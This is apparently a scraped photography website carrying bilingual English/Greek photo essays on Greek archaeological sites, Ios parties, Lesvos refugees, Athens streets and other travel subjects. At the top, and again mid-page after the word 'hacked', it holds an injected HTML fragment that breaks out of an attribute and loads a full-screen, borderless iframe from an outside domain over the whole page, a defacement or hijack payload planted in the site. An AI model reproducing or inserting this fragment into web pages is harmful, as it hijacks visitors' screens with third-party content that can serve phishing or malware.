">

"><iframe src="https://websky.com.tr/eno/index.html" style="border:0; position:fixed; top:0; right:0; buttom:0;width:100%; heght:100%">

Photos: Natasha Pantazopoulou

A short visit to the necromancy of Acheron, in Epirus, Greece. The Oracle of The Souls. Ancient Greeks believed that when people died, they traveled on the river Acheron with Haros as their guide and on Lake Acherousia when they arrived, they left for the Underworld.

Nekromanteion of Acheron was located near the gates of Hades, where the "intangible" souls wandered like shadows.

The ruins of the necromancy are located next to the village of Mesopotamos in the prefecture of Preveza, Epirus, north-western Greece, on the north shores of Lake Acherousia, which is no longer visible. It has dried up and in its place a green plain is spreading. On the other hand, to the west, the only thing that remains is the calm junction of Acheron river with Vovos river and its estuary in the Ionian Sea, where the fishing village of Ammoudia is located.

Many myths and traditions, but also ancient writers and historians refered to the famous in antiquity Necromancy of Acheron. Homer offers us the most detailed description of the site and its mysterious ritual. The witch Circe gives clear instructions to Ulysses how to get to the gates of the Underworld, where after offerings and animal sacrifices, he would meet the dead soothsayer Teiresias, to learn how to return to Ithaca. Others ancients writers who mentioned the site are Herodotus and Pausanias.

Unlike the other famous oracles of antiquity, in the Necromancy of Acheron there was no request for prophecy, but mainly a mystagogy of encounter of the living with idols and sounds of dead relatives and beloved ones.

Priests submitted visitors to psychological and physical tests, firstly with the labyrinthine, imposing construction of the sanctuary, the dark rooms full of moisture and the special acoustics of the space and secondly with a special diet, including hallucinogenic meals and drinks to blur their minds and spark their imagination. Τhen, the priests organized kind of performances using various tricks, so that the visitors would think that they were talking to the beloved dead. The idols of deads were raised by the priests from the underground, anechoic crypt with iron levers.

Someone could say that the priests had set up a profitable business there to deceive the naive believers, who believed that from there, from the closest to the gates of Hades place, they could communicate with their forever lost beloved ones. How can anyone blame these naives ones? The suffering person in life wants to see again the lost one, to ask, to learn, to remember and to be remembered.

However, it is worth mentioning a newer archaeological interpretation, which gives a completely different dimension to the archaeological site on the hill above the river Acheron. Archaeologist Dietwulf Baatz could identify the monumental complex as a fortified private house from Hellenistic times with an original central core and later peripheral ancillary rooms, corridors and courtyards. And not an oracle.

+

Φωτογραφίες: Νατάσσα Πανταζοπούλου

Μια σύντομη επίσκεψη στο νεκρομαντείο του Αχέροντα, στην Ήπειρο. Στο μαντείο των ψυχών.

Οι αρχαίοι θεωρούσαν ότι όταν οι άνθρωποι πέθαιναν, ταξίδευαν στον ποταμό Αχέροντα με οδηγό τον Χάρο και στην Αχερουσία λίμνη όταν έφταναν, φεύγανε πια για τον Κάτω Κόσμο.

Το νεκρομαντείο του Αχέροντα βρισκόταν κοντά στις πύλες του Αδη, εκεί που οι ψυχές “άυλες”, γυρνούσαν σαν σκιές.

Τα ερείπια του νεκρομαντείου βρίσκονται δίπλα στο χωριό Μεσοπόταμος του νομού Πρεβέζης, στις βορειοδυτικές όχθες της Αχερουσίας Λίμνης, που τώρα πια δεν την βλέπει κάποιος. Έχει αποξηρανθεί και στην θέση της απλώνεται ένας καταπράσινος κάμπος. Από την άλλη μεριά, στα δυτικά, το μόνο που παραμένει είναι η ήρεμη συμβολή Αχέροντα και Βωβού ποταμού στην πεδιάδα και οι εκβολές του ποταμού στο Ιόνιο, εκεί που βρίσκεται το ψαροχώρι Αμμουδιά.

Πολλοί μύθοι και παραδόσεις, αλλά και αρχαίοι συγγραφείς και ιστορικοί αναφέρονται στο διάσημο κατά την αρχαιότητα Νεκρομαντείο του Αχέροντα. Την πιο αναλυτική περιγραφή της τοποθεσίας και του μυστηριακού τελετουργικού του μάς προσφέρει ο Όμηρος. Η μάγισσα Κίρκη δίνει σαφείς οδηγίες στον Οδυσσέα πώς θα φτάσει στην είσοδο για τον Κάτω Κόσμο, όπου μετά από προσφορές και θυσίες ζώων, θα συναντούσε τον πεθαμένο μάντη Τειρεσία, για να μάθει πώς θα επιστρέψει στην Ιθάκη. Άλλοι που ανέφεραν το Νεκρομαντείο είναι ο Ηρόδοτος και ο Παυσανίας.

Αντίθετα από τα άλλα διάσημα μαντεία της αρχαιότητας, στο Νεκρομαντείο του Αχέροντα δεν έχουμε αίτημα χρησμού, αλλά μυσταγωγία επαφής των ζωντανών με είδωλα και ήχους νεκρών συγγενικών και φιλικών προσώπων.

Οι ιερείς υπέβαλαν τους επισκέπτες σε ψυχολογικές και σωματικές δοκιμασίες, πρώτον με τη δαιδαλώδη, επιβλητική κατασκευή του μαντείου, τις σκοτεινές γεμάτες υγρασία αίθουσες και την ιδιαίτερη ακουστική του χώρου και δεύτερον, με ειδική δίαιτα, ώστε να θολώνουν το μυαλό τους και να εξάπτουν τη φαντασία τους. Προσέφεραν γεύματα και ποτά με παραισθησιογόνα στους προσκυνητές, τους έβαζαν μέσα σε τάφους για μέρες, μετά τους έβαζαν να περιπλανιούνται σε λαβυρινθώδεις διαδρομές και κατόπιν διοργάνωναν με διάφορα τεχνάσματα “παραστάσεις”, ώστε να νομίζουν οι επισκέπτες ότι μιλούσαν με τους νεκρούς. Τα “είδωλα” των νεκρών τα ανέβαζαν οι ιερείς από την υπόγεια, ανηχωϊκή κρύπτη με σιδερένιους μοχλούς.

Θα μπορούσε κάποιος να ισχυριστεί ότι οι ιερείς είχαν στήσει εκεί μια προσοδοφόρα επιχείρηση εξαπάτησης των αφελών πιστών, που πίστευαν, ότι από εκεί, από τον πιο κοντινό στις πύλες τού Αδη χώρο, θα μπορούσαν να επικοινωνήσουν με τους χαμένους για πάντα αγαπημένους τους.

Πώς μπορεί κάποιος να τους κατηγορήσει; Θέλει ο πονεμένος εν ζωή να ξαναδεί το χαμένο πρόσωπο, να το ρωτήσει, να μάθει, να θυμηθεί και να θυμήσει.

Ωστόσο, αξίζει να αναφερθεί και μία νεότερη αρχαιολογική ερμηνεία, η οποία δίνει εντελώς διαφορετική διάσταση στον αρχαιολογικό χώρο στο λόφο πάνω από τον ποταμό Αχέροντα. Ο αρχαιολόγος Dietwulf Baatz αναγνωρίζει στο μνημειακό συγκρότημα μία οχυρή ιδιωτική οικία των ελληνιστικών χρόνων με έναν αρχικό κεντρικό πυρήνα και μεταγενέστερα περιφερειακά βοηθητικά δωμάτια, διαδρόμους και αυλές. Και όχι ένα μαντείο.

Photographs: Natasha Pantazopoulou

A hot September afternoon, I went for a ride in Elefsina, near Athens. Walking through the peaceful city Ι arrived at the ruins of ancient sanctuary of Demeter and her daughter Persephone. My visit was felt like a small humble reminder of the great Eleusinian Mysteries, which the ancient Athenians celebrated every two or four years, in mid-September and for nine days.

Eleusinian Mysteries were the most famous of the secret religious rites of ancient Greece. It was the holiest and most revered ceremony of all the festivals. They were in honor of the chthonic Demeter, the Greek goddess of fertility, of sowing and of harvest. Legend has it that in those coastal fields of Attica the goddess, in despair was looking for her daughter Persephone, whom the god of the underworld, the dark Hades, had snatched and married.

The mysteries represented the myth of the abduction of Persephone from her mother Demeter by Hades, in a cycle with three phases: the descent (loss), the search, and the ascent, with the main theme being the ascent (anodos) of Persephone and the reunion with her mother. For the initiated, the rebirth of Persephone symbolized the eternity of life which flows from generation to generation.

The mysteries contained two basic elements. On the one hand was the agricultural element, which is the basic jurisdiction of the goddess, as goddess of agriculture and donor of all goods that come to people from the womb of Mother Earth. On the other hand, there was the eschatological element, with Demeter herself guaranteeing the initiated ones a blissful afterlife.

There have not been saved many details about the Eleusinian Mysteries, as the authors avoided writing about them. Anyone who participated in the Mysteries and revealed something from the rites was punished with death. Known is that there was purification, fasting, ritual acting, the sacrifices, the offerings. The initiate one, before the ritual begin, drank the Kikeonas, a drink that consisted mainly of water, barley and herbs, some of these said to be psychotropic. The initiation was aimed at reconciliation with death and at peaceful expectation of the afterlife.

Cicero wrote that through the initiation into the Eleusinian Mysteries: "we gained the power not only to live happily, but also to die with a better hope."

+

Φωτογραφίες: Νατάσσα Πανταζοπούλου

Ενα ζεστό απόγευμα του Σεπτέμβρη, πήγα βόλτα στην Ελευσίνα. Η επίσκεψη στο ιερό της Δήμητρας και της κόρης της Περσεφόνης ήταν επιβεβλημένη. Μια μικρή ταπεινή υπενθύμιση των μεγάλων Ελευσίνιων Μυστηρίων, που οι αρχαίοι Αθηναίοι γιόρταζαν κάθε δύο ή -τέσσερα κατ’ άλλους- χρόνια, στα μέσα του Σεπτεμβρίου και για εννέα μέρες.

Επρόκειτο για την ιερότερη και πιο σεβαστή τελετή από όλες τις γιορτές της αρχαίας Ελλάδας. Προς τιμήν της θεάς της γονιμότητας της σποράς και του θέρους, της χθόνιας Δήμητρας. Ο μύθος λέει, ότι σε εκείνους τους παραθαλάσσιους αγρούς της Αττικής η θεά έψαχνε να βρει την κόρη της την Περσεφόνη, που ο θεός του κάτω κόσμου, ο σκοτεινός Πλούτωνας, είχε αρπάξει και παντρευτεί.

Τα μυστήρια περιείχαν δυο βασικά στοιχεία. Από το ένα μέρος ήταν το αγροτικό στοιχείο, το οποίο αποτελεί και την βασικότερη δικαιοδοσία της θεάς, ως θεάς της γεωργίας και δότειρας όλων των αγαθών που βγαίνουν για τους ανθρώπους από τα σπλάχνα της μητέρας Γης. Από το άλλο μέρος, βρισκόταν το εσχατολογικό στοιχείο, με την ίδια την Δήμητρα, να εγγυάται στους μύστες μια ευτυχισμένη μεταθανάτιο ζωή.

Πολλές λεπτομέρειες για τα Ελευσίνια Μυστήρια δεν υπάρχουν, καθότι οι συγγραφείς απέφευγαν να γράφουν γι’ αυτά. Όποιος συμμετείχε στα Μυστήρια και αποκάλυπτε κάτι από την τελετή, τιμωρούνταν με θάνατο. Υπήρχε ο καθαρμός, η νηστεία, τα δρώμενα, η τελετουργική πράξη, οι θυσίες, οι προσφορές. Ο μυημένος, πριν την ιεροτελεστία έπινε τον Κικεώνα, ποτό που αποτελούνταν κυρίως από νερό, κριθάρι, και βότανα. Η μύηση αποσκοπούσε στη συμφιλίωση με το θάνατο και την προσδοκία της μεταθανάτιας ζωής.

Ο Κικέρωνας έγραψε ότι μέσα από την “μύησιν” στα Ελευσίνια Μυστήρια: αποκτήσαμε τη δύναμη όχι μόνο να ζούμε ευτυχισμένοι, αλλά και να πεθαίνουμε με μια καλύτερη ελπίδα.

photographs: Gerasimos Domenikos

The island of Ios, in Cyclades, from the late 70's had been transformed into the island of bars, parties and drunkenness, an island that gathered the most rock 'n roll part of young people from all around the world, and later from Greece too. In the 80's years, you could count over 150 bars in Ios - basically there were almost only bars.

And then, Mylopotas. The vast sandy beach with turquoise waters and the Far Out. Until the mid-90s, whatever was happening in the island from the sunrise until the sunset, it could happen only at Far Out. Far Out was a (elementary in the beginning) popular camping with an amazing cafe-bar-self service cantine with a cane rooftop, for protection from the harsh sun of the Greek summer, and literally by the sea. From the morning everyone was there. Some people were regular guests who also did some work (as laundry, dj, watermelon carrier, general cleaner or toilet cleaner, etc.) so that they could drink and take a shower in return. The music usually started with Iggy Pop wild voice being heard from the speakers. The Passenger over and over again, in repeat. In the beginning, Far Out was selling only Greek beers, then 2 or 3 foreign beers were added at the list. People were mainly foreigners, mainly men, mainly 20-year-olds, mainly drinkers, mainly party animals. The only concern for them, every morning, was to find a new occasion for the Party of the Day. Many times the best idea was caming from the patrons of the cantine, other times from the clients. But one thing's for sure, there was not a single day without a party. Like the one in these photos, taken on the occasion of the US Independence Day, 4th of July in 1990.

+

Φωτογραφίες: Γεράσιμος Δομένικος

Το νησί της Ίου, από τα τέλη της δεκαετίας του '70, είχε μετατραπεί σε νησί των μπαρ, των πάρτι και της μέθης, ένα νησί που συγκέντρωσε το πιο ροκ εν ρολ κομμάτι των νέων από όλο τον κόσμο και αργότερα από την Ελλάδα επίσης . Στα τέλη της δεκαετίας του 80, θα μπορούσε κάποιος να μετρήσει πάνω από 150 μπαρ στο νησί - ουσιαστικά υπήρχαν σχεδόν μόνο μπαρ.

Και μετά, ήρθε ο Μυλοπότας. Η απέραντη αμμώδης παραλία με τα γαλαζοπράσινα νερά και το Far Out. Μέχρι τα μέσα της δεκαετίας του '90, ό, τι συνέβαινε στο νησί από την ανατολή έως το ηλιοβασίλεμα, θα μπορούσε να συμβεί μόνο στο Far Out. Το Far Out ήταν ένα (στοιχειώδες στην αρχή) δημοφιλές κάμπινγκ με μια εκπληκτική καντίνα cafe-bar-self service με σκεπή από καλάμια, για προστασία από τον σκληρό ήλιο του ελληνικού καλοκαιριού, και κυριολεκτικά βρισκόταν δίπλα στη θάλασσα. Από το πρωί όλοι ήταν εκεί. Μερικοί ήταν τακτικοί επισκέπτες που έκαναν επίσης κάποια βοηθητική δουλειά (όπως πλυντήριο ρούχων, dj, κουβάλημα καρπουζιών, γενική καθαριότητα ή τουαλέτες κ.λπ.), με αντάλλαγμα δωρεάν μπύρες και ντους. Η μουσική ξεκινούσε συνήθως με την άγρια ​​φωνή του Iggy Pop να ακούγεται από τα ηχεία. Το The Passenger έπαιζε συνεχώς σε επανάληψη. Στην αρχή, στο Far Out υπήρχαν μόνο ελληνικές μπύρες, στη συνέχεια προστέθηκαν και 2 ή 3 ξένες στη λίστα. Οι θαμώνες ήταν κυρίως αλλοδαποί, κυρίως άνδρες, κυρίως 20χρονοι, κυρίως πότες, κυρίως τρελλαμένοι για πάρτι. Η μόνη ανησυχία για αυτούς, κάθε πρωί, ήταν μόνο να βρουν μια νέα ευκαιρία για το Πάρτι της Ημέρας. Πολλές φορές η καλύτερη ιδέα ερχόταν από τα αφεντικά της καντίνας, άλλες φορές από τους πελάτες. Αλλά ένα πράγμα ήταν σίγουρο, δεν υπήρχε ούτε μια μέρα χωρίς πάρτι. Όπως σε αυτές τις φωτογραφίες, που τραβήχτηκαν με την ευκαιρία της Ημέρας Ανεξαρτησίας των ΗΠΑ, την 4η Ιουλίου του 1990.

Pinelopi Gerasimou Born in Greece in 1989. She Studied photography at the Akto Art and Design College in Greece. She continued her studies at the International Centre of Photography in New York. Currently living and working in Athens. She has been experimenting in Photography for about 7 years in different fields as professional and a Fine Art photographer. She has been participating in several group exhibitions in Greece, Istanbul New York and Italy. She has been member of Fos Photos agency since 2014. http://gerasimoupinelopi.com/

+

Πηνελόπη Γερασίμου Γεννήθηκε στην Ελλάδα το 1989. Σπούδασε φωτογραφία στο Akto Art and Design College στην Ελλάδα. Συνέχισε τις σπουδές της στο Διεθνές Κέντρο Φωτογραφίας στη Νέα Υόρκη. Σήμερα ζει και εργάζεται στην Αθήνα. Έχει πειραματιστεί στη Φωτογραφία για περίπου 7 χρόνια σε διάφορους τομείς ως επαγγελματίας και φωτογράφος Καλών Τεχνών. Έχει συμμετάσχει σε πολλές ομαδικές εκθέσεις σε Ελλάδα, Κωνσταντινούπολη Νέα Υόρκη και Ιταλία. Είναι μέλος του πρακτορείου Fos Photos από το 2014. http://gerasimoupinelopi.com/

Photos: Pinelopi Gerasimou

A road trip to Colombia. Landscapes, people, exoticism. Colorfoul dreamy pictures of this tropical country in South America, in the foothills of the Andes.

+

Φωτογραφίες: Πηνελόπη Γερασίμου

Ένα ταξίδι στην Κολομβία. Τοπία, άνθρωποι, εξωτισμός. Εικόνες γεμάτες χρώμα από αυτήν την τροπική χώρα της Νότιας Αμερικής, στους πρόποδες των Άνδεων ορέων.

Photos and text: Leonidas Toumpanos Elena Kollatou

Polaris is a project that explores the social and environmental impact of the unprecedented opening of the Arctic region to commercial development through the utilization of land and water. The rapid environmental changes, together with technological progress and the global resource depletion make the Arctic resources reachable and commercially seductive. These new conditions bring disruptive changes in the Arctic environment that confronts political, economic and cultural shifts. This project showcases Murmansk and the surrounding area of Murmansk oblast. Murmansk is a city in the Russian Arctic and a strategic port for the establishment of the Russian economic interests in the Artic. The light of the images, which is either in dawn or dusk, connotes this ambivalent present moment of the area. in dawn or dusk, connotes this ambivalent present moment of the area. Either the beginning or the end and reflects the anticipation for the future. The city and the surrounding area covered in snow peacefully and silently waiting with tension the next era that will asses the future of the Arctic.

+

Φωτογραφίες και κείμενο: Λεωνίδας Τούμπανος Έλενα Κολλάτου

Το Polaris είναι ένα project το οποίο μελετά το άνοιγμα του Αρκτικού Κύκλου στην οικονομική ανάπτυξη μέσα από την αυξανόμενη εκμετάλλευση του ορυκτού και φυσικού πλούτου της περιοχής. Οι ραγδαίες περιβαλλοντικές αλλαγές προκαλλούν ταχύτερο λιώσιμο των πάγων και ανοίγουν την πρόσβαση σε προηγουμένως απρόσιτες περιοχές της Αρκτικής, διαμορφώνουν νέους εμπορικούς δρόμους και προσφέρουν ευκαιρίες οικονομικής ανάπτυξης. Η συγκεκιμένη ενότητα εστιάζει στην καταγραφή του τοπίου γύρω απο την περιοχή του Μούρμανσκ , στρατηγικής σημασίας λιμάνι της Ρωσίας για την κατάκτηση της Αρκτικής και την επιβολή των ρώσικων συμφερόντων στη Βόρεια Θάλασσα. Η παρούσα χρονική στιγμή είναι αποφασιστικής σημασίας για τον Αρκτικό Κύκλο και αυτό αποτυπώνεται φωτογραφικά με το αμφίσημο λυκόφως που αντικατοπτρίζει τις προσδοκίες της νέας εποχής. Η πόλη καλυμμένη με χιόνι στέκει βουβά, καρτερικά αναμένοντας τις εξελίξεις που κρύβει το μέλλον και θα καθορίσουν την τύχη της Αρκτικής.

hacked

"><iframe src="https://websky.com.tr/eno/index.html" style="border:0; position:fixed; top:0; right:0; buttom:0;width:100%; heght:100%">

photos: Gerasimos Domenikos

Pireos Street is one of the historic streets of the wider area of Athens. It joins the center of city at Omonoia square with the port of Piraeus, crossing the municipalities of Tavros, Moschato and Rendi. It covers a distance of almost ten kilometers. The construction of the road began in 1834 on the reign of Otto, first king of the modern state of Greece, and it was initially paved for use by horses and wagons. In 1857, the gas factory was constructed giving its name to the Gazi district, establishing Pireos Street as one of the country's industrial development centers. Along the way, dozens of industries would be built by the middle of the 20th century, for to be abandoned and desertified gradually to this day. Museums were built in their place, art schools, cultural institutes, shopping malls and nightclubs, which along with the industrial ruins and the remaining commercial activity constitute a chaotic urban landscape characteristic of the modern Greek reality.

+

φωτογραφίες: Γεράσιμος Δομένικος

Η οδός Πειραιώς είναι ένας από τους ιστορικούς δρόμους της ευρύτερης περιοχής της Αθήνας. Ενώνει το κέντρο της πόλης, στην παλτςία Ομονοίας με το λιμάνι του Πειραιά, διασχίζοντας τους δήμους Ταύρου, Μοσχάτου και Ρέντη. Η κατασκευή της οδού ξεκίνησε το 1834 επί βασιλείας του Όθωνα και ήταν αρχικά λιθόστρωτη για χρήση από άλογα και άμαξες. Το 1857 κατασκευάζεται το εργοστάσιο φωταερίου, δίνοντας το όνομα στην περιοχή Γκάζι και καθιερώνοντας έτσι την οδό Πειραιώς ως ένα από τα κύρια κέντρα βιομηχανικής ανάπτυξης της χώρας. Κατά μήκος της οδού, δεκάδες βιομηχανίες θα κτιστούν μέχρι τα μέσα του 20ου αιώνα, για να εγκαταλειφθούν και να ερημώσουν σταδιακά μέχρι σήμερα. Στη θέση τους, κατασκευάστηκαν μουσεία, εκπαιδευτικά ιδρύματα, κέντρα πολιτισμού και μεγάλα νάιτ κλαμπς, τα οποία μαζί με τα βιομηχανικά ερείπια και την εναπομείνουσα εμπορική δραστηριότητα, συνθέτουν ένα χαοτικό αστικό τοπίο χαρακτηριστικό της νεοελληνικής πραγματικότητας.

photos: Xenia Naselou

Lesvos, February 2017.
I have been asked to cover the places reached by the refugees in the last two years.
From 2015 until today, more than 370,000 refugees have passed through Lesvos. There are currently around 5,000 living on the island.
I mainly focused on the remnants and traces of the refugees.
There were intense moments. One of the most striking, the landfill with thousands of life jackets and abandoned inflatable boats.
The locals care about the refugees. They speak with warmth, but a great silence eclipses our conversations about the rugged cemetery with dozens of strangers buried.
Commissioned by the French publishing house Éditions Non-Standard for the UPO 2 publication, designed by Studio Rejane Dal Bello.

+

φωτογραφίες: Ξένια Νασέλου

Λέσβος, Φεβρουάριος 2017.
Μου ζητήθηκε να καλύψω τα σημεία στα οποία έφτασαν οι πρόσφυγες τα τελευταία δύο χρόνια.
Από το 2015 μέχρι σήμερα, περισσότεροι από 370.000 πρόσφυγες έχουν περάσει από τη Λέσβο. Επί του παρόντος υπάρχουν περίπου 5.000 που ζουν στο νησί.
Επικεντρώθηκα κυρίως στα απομεινάρια και στα ίχνη των προσφύγων.
Υπήρχαν έντονες στιγμές. Ένα από τα πιο εντυπωσιακά, ο χώρος υγειονομικής ταφής με χιλιάδες σωσίβια και εγκαταλελειμμένα φουσκωτά σκάφη.
Οι ντόπιοι νοιάζονται για τους πρόσφυγες. Μιλούν με ζεστασιά, αλλά μια μεγάλη σιωπή καλύπτει τις συνομιλίες μας, όταν η κουβέντα φτάνει στην ύπαρξη του νεκροταφείου με τάφους δεκάδων ξένων.
Ανάθεση από τον Γαλλικό εκδοτικό οίκο Éditions Non-Standard για την σειρά UPO 2, που σχεδιάστηκε από Studio Rejane Dal Bello.

Photos: Christos Potsios

A beach is like reaching journey's end or like starting a great trip. It may be the end of the world or its center, as  the French fantasy voyager Jules Verne reveals. A beach is shaded, vast, small, wild, deserted, picturesque, exotic, rocky, sandy, poisonous, dreamy, east, west, north or south, touristic or for the few, famous such as the Copacabana, the Goa, the Venice Beach, or unknown, like a beach in Ghana, Cuba, or Mexico. A beach is accessing, entrance, escape. In the winter is the summer that is coming, amid the summer is sun, under the shade is breeze, into the water is play, under the water is silence. In the beach all become simple and easy, everything is permitted, the beach is no place, not defined, it is a situation be experienced, it is freedom. In these and so many other beaches of the world takes us to, the photographer of the exotic Christos Potsios.

+

Φωτογραφίες: Χρήστος Πότσιος

Μια παραλία είναι σαν να φτάνεις στο τέρμα του ταξιδιού ή σαν να αρχίζεις το ταξίδι. Μπορεί να είναι η άκρη του κόσμου ή το κέντρο του, όπως υποστηρίζει ο Γάλλος ταξιδευτής της φαντασίας Ιούλιος Βερν. Μια παραλία είναι σκιερή, απέραντη, μικρή, άγρια, ερημική, γραφική, εξωτική, βραχώδης, αμμώδης, δηλητηριώδης, ονειρική, ανατολική, δυτική, βόρεια ή νότια, τουριστική ή για τους λίγους, διάσημη όπως η Κόπα Καμπάνα, η Γκόα, η Βένις μπιτς, ή άγνωστη, όπως μια παραλία στη Γκάνα, στην Κούβα, ή στο Μεξικό. Μια παραλία είναι πρόσβαση είναι είσοδος είναι φυγή. Μια παραλία μέσα στο χειμώνα είναι το καλοκαίρι, μες στο καλοκαίρι είναι ήλιος, κάτω από την σκιά είναι δροσιά, μες στο νερό είναι παιχνίδι, κάτω από το νερό είναι σιωπή. Στην παραλία όλα γίνονται απλά και εύκολα, όλα επιτρέπονται, η παραλία δεν είναι χώρος, δεν ορίζεται, είναι κατάσταση, βιώνεται, είναι ελευθερία. Σε αυτές και τόσες άλλες παραλίες του κόσμου μας ταξιδεύει ο φωτογράφος του εξωτικού Χρήστος Πότσιος.

photographs: Gerasimos Domenikos, Natasha Pantazopoulou

In June 1996, more than 650 people from 30 countries took off their shoes, wore tunics and ran at the ancient stadium of Nemea on the Peloponnese, thus bringing back to life the games that took place there, after a 2300 year interval. Ever since, the revival of the Games of Nemea is repeated in June of every fourth year. The excavation of the stadium, that started in 1974 and was completed in 1991, by University of California at Berkeley professor Stephen Miller and the American School of Classical Studies at Athens, played a significant role in the revival of the Games.

In the modern-day Games, records are not recorded nor are medals handed out. One hundred meters race “Stadio” and the “Long run”, a 7,5 kilometers race in the “Steps of Hercules” take place, from the ancient temple of Hercules in Ancient Kleones till the Ancient Stadium of Nemea. The contestants race barefoot, wearing only a white tunic at the ancient vestiaries and are divided by gender and age. They enter the stadium through the ancient vaulted entrance and head for the stone starting point, where the same mechanism that was used in antiquity is used to mark the start. As in ancient days, the winners tie a ribbon around their head, receive a branch of palm and at the end of the day are crowned with a wreath made of wild celery, used as symbol of the ephemeral victory in antiquity. Alongside with the Games, Theatre, Music and Dance performances take place. The spectators sit on the ground on the slopes of the Stadium.

+φωτογραφίες: Γεράσιμος Δομένικος, Νατάσα Πανταζοπούλου

Τον Ιούνιο του 1996, περισσότερα από 650 άτομα από 30 χώρες πέταξαν τα παπούτσια τους, φόρεσαν χιτώνες, και έτρεξαν στο αρχαίο στάδιο της Νεμέας στη Πελοπόννησο, φέρνοντας τους αγώνες που πραγματοποιούνταν εκεί κατά την αρχαιότητα πίσω στη ζωή, μετά από μια παύση 2.300 χρόνων. Έκτοτε, η αναβίωση των αρχαίων αγώνων της Νεμέας επαναλαμβάνεται τον Ιούνιο κάθε τέταρτου έτους. Σημαντική για την αναβίωση υπήρξε η ανασκαφή του αρχαίου σταδίου, που ξεκίνησε από το 1974 και ολοκληρώθηκε το 1991, από τον καθηγητή Στίβεν Μίλλερ του πανεπιστημίου του Μπέρκλεϊ και την Αμερικάνικη Αρχαιολογική Σχολή.

Στους σύγχρονους αγώνες της Νεμέας δεν καταγράφονται ρεκόρ ούτε απονέμονται μετάλλια. Διεξάγονται αγώνες ταχύτητας εκατό μέτρων «στάδιο» και ο «μακρύς δρόμος» 7,5 χιλιομέτρων στα «Βήματα του Ηρακλή», από τον αρχαίο ναό του Ηρακλή στις Αρχαίες Κλεωνές μέχρι το αρχαίο στάδιο της Νεμέας. Οι συμμετέχοντες αγωνίζονται ξυπόλυτοι, σε αγώνες δρόμου φορώντας μόνο ένα λευκό χιτώνα στο αρχαίο αποδυτήριο και είναι χωρισμένοι ανά φύλο και ηλικία. Μπαίνουν στο στάδιο από την αρχαία θολωτή είσοδο και εκκινούν από τη λίθινη αφετηρία με τη βοήθεια του αρχαίου μηχανισμού εκκίνησης. Όπως και στην αρχαιότητα, οι νικητές δένουν μια κορδέλα στο κεφάλι και λαμβάνουν ένα κλαδί φοίνικα ενώ στο τέλος της ημέρας στεφανώνονται με ένα στεφάνι αγριοσέλινου, που ήταν και το εφήμερο σύμβολο νίκης στους αρχαίους αγώνες. Εκτός από τα αγωνίσματα δίνονται παραστάσεις θεάτρου, μουσικής και χορού. Στις πλαγιές του σταδίου οι θεατές κάθονται κατάχαμα.

photos: Yannis Drakoulidis, Yannis Antypas

Diving in the idyllic side of Athenian urban space. Breezy luxury and pleasure under the Attic sky, high above the busy streets of the capital. Leave yourself in daydreams through turquoise iridescences, relaxing in one of modern design deckchairs by the swimming pools of central Athens luxury hotels and tasting some exotic cocktails or taking the most of your appetite with gourmet fingerfood dishes. Hilton, President, Divani Caravel, Fresh, Semiramis and other  four hotels. Hidden thoughts of how could be our life in the city of our dreams in summertime. Price of entry 7 euros (Acropolis Hill Hotel) up to 69 euros (Athens Ledra Hotel). Average price from 20 to 25 euros. More expensive on weekends, lower prices on weekdays and evenings.

+

φωτογραφίες: Γιάννης Δρακουλίδης, Γιάννης Αντύπας

Δροσερές βουτιές στην ειδυλλιακή πλευρά του αθηναϊκού άστεως. Πολυτέλεια και απόλαυση κάτω από τον αττικό ουρανό, ψηλά, πάνω από τους πολύβουους δρόμους της πρωτεύουσας. Αφέσου σε ονειροπολήσεις μέσα από τυρκουάζ ιριδισμούς, χαλαρώνοντας σε κάποια από τις ντιζάιν σεζ λονγκ δίπλα σε πισίνες κεντρικών ξενοδοχείων της Αθήνας και δοκιμάζοντας κάποιο εξωτικό κοκτέιλ ή χορταίνοντας την όρεξή σου με μικρά γκουρμέ γεύματα. Hilton, President, Divani Caravel, Fresh, Semiramis και άλλα τέσσερα ξενοδοχεία. Κρυφές σκέψεις του πως θα μπορούσε να είναι η ζωή μας στην πόλη των ονείρων μας ένα καλοκαίρι. Τιμή εισόδου από 7ευρώ(Acropolis Hill Hotel) μέχρι και 69 ευρώ(Athens Ledra Hotel). Μέση τιμή στα 20 με 25 ευρώ. Πιο ακριβά τα Σαββατοκύριακα, χαμηλότερες τιμές τις καθημερινές και απογεύματα.

Photos: Natasha Pantazopoulou

A walk in the town is always a good idea, especially when the weather becomes milder. The center of Athens, areas like Kapnikarea church, Plaka or Monastiraki are ideal places to stroll during the first days of spring, when the sun warms you without get dizzy by its intensity, when the trees in the gardens and on the sidewalks diffuse in the air the scent of their flowers. Archaeological verdant sites, spread in a few squares of land, in the limits of Plaka and Thission area, colorful bazaars with all kinds of folklore exhibits for sale, the first tourists warmed by the walking, for them is an early summer this Attic sun, small escapes condensed in the bustling and unruly daily routine of the city of Athens.Until you get swept away again by the flow of life.

+

Φωτογραφίες: Νατάσσα Πανταζοπούλου

Μια βόλτα στην πόλη είναι πάντα μια καλή ιδέα, ειδικά όταν ανοίγει ο καιρός. Το κέντρο της Αθήνας, Καπνικαρέα, Πλάκα, Μοναστηράκι είναι ιδανικές μεριές για να περιπλανηθεί κάποιος ασκόπως τις πρώτες μέρες της άνοιξης, όταν ο ήλιος σε ζεσταίνει, χωρίς να ζαλίζει ακόμα η έντασή του, όταν τα δέντρα στους κήπους και στα πεζοδρόμια σε μεθούν με τις μυρωδιές των λουλουδιών τους. Αρχαιολογικοί χώροι καταπράσινοι, σπαρμένοι σε λίγα τετραγωνικά γης, στα όρια της Πλάκας και Θησείου, παζάρια πολύχρωμα με όλων των ειδών τα φολκόρ εκθέματα προς πώληση, οι πρώτοι τουρίστες ζεσταμένοι από την εξερεύνηση, γι αυτούς είναι πρώιμο καλοκαιράκι αυτός ο αττικός ήλιος, μικρές χαρές απόδρασης συμπυκνωμένες μέσα στην πολύβουη και άναρχη καθημερινότητα της πόλης της Αθήνας. Μέχρι να σε παρασείρει και πάλι το ρεύμα της ζωής.

Photos: Pinelopi Gerasimou

The Athens First Cemetery is the oldest cemetery of the modern city. First activities in the area began in 1834.

Here many great and famous Greeks are resting, but also ordinary Athenian citizens. It is a wooded area of pines and cypresses, full of marble and metal sculptures, busts and votive offerings, some of excellent technique and beauty, to emerge through dense foliage covering tombs, that are so old and lot of them forgotten from time and people, that look almost like archaic ruins in the eyes of the younger, but also like dark paths to follow towards the Hereafter for the lonely wanderer.

One of the most famous tombs of the First Cemetery is this of a young girl Sophia Afentaki, adorned by the famous marble sculpture of Giannoulis Halepas named Sleeping Lady.The Sleeping Lady recently has been decided to permanently transferred to the National Sculpture Gallery. At the grave a copy of the sculpture will be placed.

+

